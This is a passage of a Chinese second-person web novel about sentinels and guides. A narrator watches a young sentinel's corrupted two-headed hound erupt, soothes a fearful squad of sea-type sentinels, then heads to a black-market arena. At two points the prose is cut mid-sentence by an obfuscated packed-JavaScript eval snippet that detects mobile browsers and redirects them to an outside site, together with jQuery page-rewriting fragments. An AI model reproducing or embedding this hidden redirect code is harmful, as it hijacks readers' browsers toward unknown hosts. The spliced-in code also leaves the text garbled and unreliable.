上次陆烬陪总行政官出外勤，护卫队‘新人’失控，造成二十个A+以上的哨兵被群体干趴下，其中还有两个是S级……你还被秃头领导抓壮丁去做了事故现场的群体疏导…… 原来、那个‘惹祸’的新人，就是宋梁吗？所以，你第一次遇到他时，他被戴了那么重的拘束器，在公共场所被其它犬系哨兵欺凌？ 如此显而易见的事实…… 你竟然才意识到！ 在‘麻雀视角’的另一端，你突然觉得牙痛起来。 那‘黑雾’的污染性和破坏性，你现在还记忆优新，那玩意儿虽然以量子态、经常作用与精神图景造成破坏，但也有一定的比例会转化成现实世界中的‘实景污染’，一旦喷溅造成现实世界的残留，就是极为严重的‘污染’，哪怕一点一滴，都需要特殊的处理和收容的…… 但现在的情况，让你觉得非常不可思议—— 你还记得刚成为白塔注册向导时，考核过关于这个废土世界已知‘污染物’的相关知识， 这个‘污染’叫做‘硫狱恶浆’，起源于亚伯拉罕山脉，爆发于西伯拉亚矿区，后来是中央海联合白塔，几乎废了一个兵团、三个哨所的力气，才得以驯服和平息。 但都是快五十年前的事了，跟秃头领导是同一个时期的灾变； 这样的污染，怎么可能、怎么会？！ ——承载在一个年轻哨兵的身上？ 眼看着—— 那不停涌动的黑雾中，巨大狰狞的骨刺森然探出，刺破‘大白’那原本乖巧的虚幻轮廓；一个庞大、扭曲、散发着暴戾嗜血与冰冷诡异的恐怖双头犬影，咆哮着要从那片如熔岩般沸腾的黑雾中挣脱出来； 在‘麻雀视野’的另一端，二十九层的家中。 你哀嚎了一声‘好麻烦’、仰面倒在了软乎乎的云朵沙发上，捂着额头，心烦的打滚儿~~ 在白塔混吃混喝的这三年，你游手好闲，懒散成性，脑子虽然因为长久不使用成了一堆豆腐渣，可毕竟没坏，这些弯弯绕绕根本就不能深思…… 噢，不用深思， 用脚丫子就能想到，一种被五十年前就被消灭控制的‘污染源’，对渴求力量的中央海世家们，意味着什么？会用‘它’来做什么？！ 这到底是损耗了多少个有‘天赋’的孩童，才能得出的一个‘可控人形灾变’？！ 你对这种源于圣所的属性为灾厄‘兵源’的制造过程和原理再清晰不过，都是因为亚利瑟斯那个变态的鸟人，几乎把他在圣所的‘经历’和‘见识’，都强行的、在第二个梦境中共享给了你。 被迫‘见多识广’的你， 对于这个可怕的转化率，根本不敢去简单算一算。 其它的……也就算了。 可那是你撸了不知道多少遍的‘大白’ 现在。 一想到这些，你不但牙痛、头也痛了起来…… 这事、 你管？ 还是不管呢？ 就在你打算‘闭’上眼，来个眼不见心不烦的时候。 训练场中。 随着骨刺狰狞的‘巨型恶犬’双头轮廓越来越清晰，宋梁脚下翻滚的‘黑雾’也越来越实体化。 月光哨兵也谨慎的召唤出了巨大的水母精神体，防御与攻击兼具的巨大海洋生物此刻正如梦似幻的漂浮在半空中，水母末梢的浮刺渐渐由透明的莹白变成艳丽的深紫…… 两人交错过一轮攻防，余波震荡得废弃训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137080|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场外的群雀惊飞不已。 你不得不让‘麻雀’一分为二，具现化的异雀随着群鸟被惊走，但依旧躲在草丛总，锚定了锦鲤哨兵的视角不放；而另一道近乎透明的麻雀虚影，则悄悄的落在了离对峙中的两人更近一点的地方。 眼看两人正要蓄力一拼！ “队、队长！” 角落里，锦鲤哨兵带着哭腔的、哆哆嗦嗦的声音突然响起，微弱却像针一样刺破了凝滞的杀意， “……一会儿……一会儿还有邵音向导的预约……带着血和伤口去见的话……是不是、不太礼貌？” 一句怯懦的问句。 却仿佛无形的响鞭，猛地抽在了即将爆发的凶兽脖颈上！ 对峙中一触即发的两人，身形一颤！ 在你新的视线中—— 沸腾满溢的黑雾、狰狞咆哮的双头犬影、如梦似幻的巨大水母、艳丽飘逸得近乎不详的腕足…… 所有的一切，如同被按下了倒带键，以惊人的速度坍缩、消散！ “南区，‘58号’。” 宋梁的声音压得极低，每个字都像是从齿缝里碾出来，带着血腥气的寒意，“今晚八点。” 他顿了顿，嘴角扯出一个毫无温度、近乎残忍的弧度，“敢来吗，废物？” 月光哨兵‘呵’的冷笑了一声，似乎正想应战，却被一边围观的同伴拉住、压低嗓音咬牙提醒了一句：“队长！别、别冲动……你别忘了，跟、相关的，任何决定，都需要……” 似乎冷静了下来，又似乎顾忌着什么，月光哨兵脸上肌肉抽搐了一下，最终只是狠狠瞪了宋梁一眼，便一声不吭的带着同伴，迅速离开了。 宋梁站在原地，胸膛微微起伏。他没有立刻离开，目光扫过锦鲤哨兵藏身的角落，吓得对方又往里缩了缩。 随后，他大步朝外走去，身后散逸着残留的暴戾气息，那些不受主人控制的、丝丝缕缕的黑雾顺着他的脚步弥散在空气中。 路过‘麻雀’隐匿的灌木丛时，群雀再次受惊，本能地扑棱飞起！ “叽、叽——！” 几声短促凄厉的悲鸣！ 灌木丛中被惊得腾来跳去的那一群真麻雀，非常不巧的被一丝黑雾轻拂而过，如同被无形的火焰舔舐，在空中瞬间僵直， 最终，变成几团冒着丝丝黑烟的小小残骸，直直坠落！ 你暗叫不好，急忙撤回视线—— 然而，来不及了 处于被黑雾污染的区域，‘视野’里猛地一阵剧烈波动、闪烁，如同信号不良的屏幕，最终彻底湮灭。 而你分离出来的另一缕风向的雀鸟视线，也随之淡化、消散在空气中。 二十九层的家中，你躺在软糯的云朵沙发上，缓缓睁开眼。 指尖似乎还残留着风向精神力凝聚的虚影湮灭时，传来的、那股令人心悸的硫磺黑气与毁灭感。 前不久，那个不祥的梦境预示，此刻无比清晰地浮现在脑海。 你抬手，用力揉了揉突突直跳的太阳穴，最终化作一声无奈的苦笑。 “唉、都是些，讨债的、麻烦精……” 还有另一个，兜了这么大一个圈子，特地引你去看了这场戏的、那个哨兵口中……你实在不想提及TA姓名的‘存在’。 那更是一个天大的麻烦。 麻烦中的麻烦。 “唉、我好命苦…”你哀嚎着把自己埋进了软软的云朵中，想到下午还有一场对这几个水系的群体疏导，你、几乎想罢工不去了。 也是你蠢、怎么就没想到呢，那群水系中，除了那只锦鲤是淡水的，其它的、月光水母就不说了，虎鲸、海天使……这些个，哪个不是海洋系的？！ 能驱策这些个看起来或漂亮、或可爱、但本质是凶狠海洋猎食霸主的，会是怎么样一个‘存在’？ 你怎么能这么蠢呢？ 给这些个水系疏导了这么多次，你单知道那精神体透着水腥气，不知道竟连这明晃晃的监视都想不分明！你蠢，你晓得你蠢，蠢得连那些哨兵那么明显畏惧你的意图都没引起你的注意，感知是钝的，光是想着如何多赚那些积分就耗尽了气力——你明白，这又是你蠢了，活着可不就是白占着塔里的位置么 唉，你真蠢，真的。 抱着沙发上的卡哇伊云朵抱枕，你脑海里不停的循环着祥林嫂式的自我抱怨…… 21. 不可名的畏惧 * 指尖残留的硫磺黑气与麻雀湮灭时的毁灭感挥之不去，你把自己更深地埋进云朵抱枕里。 罢工？ 念头一闪就被掐灭。 你刚花完了大部分的积分，那群水系的背后……虽然是个大麻烦，但积分却不得不赚…… 麻烦归麻烦，毛茸茸归毛茸茸， 况且，大白也撸了这么多遍了，总不能眼睁睁看着它把自己折腾散架吧？ 虽然这“散架”可能是指把别人拆了。 啊——你哀嚎，一开始你就该想到啊，哈士奇、即便是白化的哈士奇，能乖到哪儿去啊！ * 下午四点，C区治疗室。 你脸上挂着职业化的、无懈可击的微笑，指尖流淌出的精神力精准而高效，如同最精密的仪器，抚平水系哨兵群体精神图景中细微的波澜。 得益于水系属性之间的高适配，整个过程行云流水，比预定时间还提前了十分钟结束。 “效果非常好，邵音向导！辛苦您了！”领头的月光哨兵微微躬身，与前几次疏导时似有若无的刻意亲近相比，笑容显得恭敬了很多，眼底深处有几丝极力掩饰的畏惧。 他身后的其它几个海系哨兵更是全程低着头，大气不敢出。 “份内之事。”你站起来收拾，笑容不变，语气温和却带着不容置疑的送客意味。 “请您务必收下这个！”月光哨兵上前一步，双手恭敬地奉上一张材质特殊、边缘流动着幽蓝水纹的精致卡片，大小刚好能嵌入个人终端的读取槽。“一点……心意，不成敬意。” 你瞥了一眼，慵懒地摆摆手：“不用了，预约积分已经结清。” 月光哨兵脸上的笑容僵了一下，声音压得更低，带着一丝不易察觉的恳求：“邵向导……请您务必收下。这是……‘那位’吩咐转交的。若是您不收，我们……”他没说完，但眼底那份深切的惶恐已经说明了一切。 空气凝滞了一瞬。 你看着那张卡片，又看了看月光哨兵和他身后紧张得快要同手同脚的水系哨兵们。 瞧瞧，外观可爱却热爱虐杀的虎鲸、外形漂亮却剧毒的海天使、薄纱状腕足如海中新娘头纱的毯子章鱼……而月光水母？梦幻的光晕足以让人忽略其致命的触须。 这些个……精神体，哪个不是顶级的猎杀者？ 还是符合你审美偏好的物种。 ……‘那位’，还真是、了解你啊（苦笑） 然而，此刻这些拥有者或美丽或萌哒哒外观的海系猎杀精神体们，却还陶醉在刚才的群体抚慰的余韵中，一如既往的保持着一种过分松弛的飘飘欲仙之感…… 以一种缩小后的体型、醉酒般的四处游荡在你小小的治疗室， 弄得你这里的环境跟一个全息虚拟的海洋馆似的。 可以说是很梦幻了。 可但与之形成鲜明对比的是—— 它们各自主人畏惧、惶恐又不自在的表情。 此刻，这支评级为A+的‘渊流’特勤小队，几乎所有五大三粗的哨兵们，此刻都惶恐得屏住呼吸、紧盯着他们队长递出卡片的手，等待着你接过那张大额积分卡。 仿佛不能‘好好的’完成送出这张卡的任务，就会让他们整个小队面临极为恐怖的责罚一样…… 说实在话，这种面对强悍哨兵处于绝对上位的势差，确实会带一种名为‘权力掌控’的美妙触感。 但你很清楚，这些哨兵们此刻的畏惧和恭敬，并不是针对你。 那名为‘权力’的掌控势差，是泌着毒的。 最终—— “行吧。” 你终于还是接过了那张卡片，并顺手扔到了桌面收集餐券购物卡的卡盒中。 海系哨兵们不约而同的松了一口气，手忙脚乱的收回自己的精神体，正偷摸着打算离开的时候—— “喂，”你叫住他们。 “邵、邵向导……您、您还有什么吩咐？” “看来‘深渊’消息通路已经打开了，”你头也没抬，似乎只是突然想起，随口一问：“司御老师有说他什么时候回白塔吗？” 话音刚落—— “司、司御……老师、他、他……您、您怎么知道……”月光哨兵呼吸一窒，语无伦次的不知道回应些什么，仿佛你提及的是一个不可名说的‘大恐怖’。 而他身后的几个海系哨兵甚至都快控制不住的泄露出一丝恐惧示弱的信息素，几只原本‘调皮’捣乱着不愿意回到主人精神图景的海天使、火焰乌贼，嗖的一下迅速消失。 整个治疗室空间褪去了那层梦幻的海洋馆的色彩，恢复了原本的狭小和整洁。 你无语，心想，这人都不在白塔，他们在怕个什么劲儿？你刚才在他们精神图景里翻了，没有那个人的标记，那就更没有怕的必要啊…… “我猜，”你慢悠悠的试探：“老师是给了你们关于我的‘任务’，但他人呢？” “什么时候从‘深渊’回来？” “作为学生，这一年多来，我一直很关心老师的安危呢。” 然而—— 月光哨兵身形僵直，双目无神的平视着你，半个多余的表情都没有。 你知道，你试探不出什么来了。 说实在话，虽然你不太能感同身受他们的恐惧，但完全能理解他们的心情，因为你同样不想提起‘那人’的名字。 瞧着这几个海鲜哨兵外表悍然，却莫名可怜兮兮的样子，你喟然一笑，缓缓的放出了安抚性的精神丝，算是看在积分卡的份儿上，友情赠送的一个事后小疗程吧。 被几个身高体壮的哨兵们挤得狭小无比的空间里，溪谷间湿润的雾气弥漫起来~~ 带来清新、潮湿的草木气息。 生机勃勃又安详自在。 又带来清风，拂去着名为‘恐惧’的尘埃。 月光哨兵等几个人，卡顿了半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145145|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，才从不可名状的惊恐中渐渐缓过神来，敬畏地摇头：“没有，主人从未提及归期。” 嗯？ 主人？ 什么时候认的主？‘那人’离开白塔时，还没有‘渊流’这个A+小队吧。难道说—— ‘深渊’的信息通路，一直是通着的吗？ 你没想通，也不浪费珍贵的脑细胞了，还是等剧情线开启后，让主角和剧情人物们去烦恼吧。 没什么表情地点点头，你收回精神丝，挥了挥手。 “知道了，都回吧。” 送走这群如蒙大赦、惶恐不已的海系哨兵，你脸上完美的笑容瞬间垮掉，长长松了一口气。 还好，唯一确定的消息。深渊还在关闭状态中，按剧情线来说，还得有个十年八年吧。到时候你还在不在白塔都另说。 危机解除。 况且，一旦到了‘那个你名字都不想提的人’要回白塔的剧情时间点，你也肯定早就跑路了。 所以，相比那些奇奇怪怪的水系，你到是完全放松了心情。 日子嘛，将就将就还是能过。 你利落地收拾好东西，打卡下班。 回到二十九层，你煮了一份‘一人食’，就着落日的余晖，慢悠悠的吃完、收拾完，才随意套上一件宽大的兜帽外衫，准备外出。 当然，临走前，你并没有忘记对智能管家做一点小改动。 伪造出一份主人‘今日在家’的完整数据。 * 你转乘了两次悬浮车，才来到白塔南区。 要知道白塔的范围很大，虽然名字叫做白塔，但它实际上是很大的一片人类聚集区，在这个废土世界中拥有独特地位、能独立进行行政治理的一片聚合区。 你日常工作和生活的地方，严格来说，应该叫做‘白塔中心区’ 位于整个‘白塔直系管辖区’居中偏东北的地带。 ‘白塔辖区’的西部和北部是哨兵们的训练区，东部是生活贸易娱乐区，只有南部稍微特殊一些，鱼龙混杂、什么都有。 因为越靠近南边的地方，边界与废土外的难民接壤区混淆，是其他避难所新觉醒的哨兵向导们向白塔提交进入申请的暂居地带，所以南区一向是最混乱的。 三年多前，你抱着浑身发烫的白莺来到南区的时候，这一片还是一排排低矮帐篷屋的破烂模样，现在经过白塔拨款修整管理，已经是一片热闹的小市集了。 你和白莺在南区的难民棚中呆了一个多月，经过了白塔最后的测试和筛选，才拿到白塔认可的注册向导身份、得以进入与这片废墟形成鲜明对比的、天堂般的‘白塔中心区’。 所以，你对如今这片‘南区’有一种既熟悉、又陌生的感觉。 不过好在之前积攒的那些‘暗道’都还留存着。 你很轻松的在小酒馆的熟人那里，拿到了进入‘58号’的晶卡，兑换好了筹码，便踏入了秃头口中的‘斗兽场’。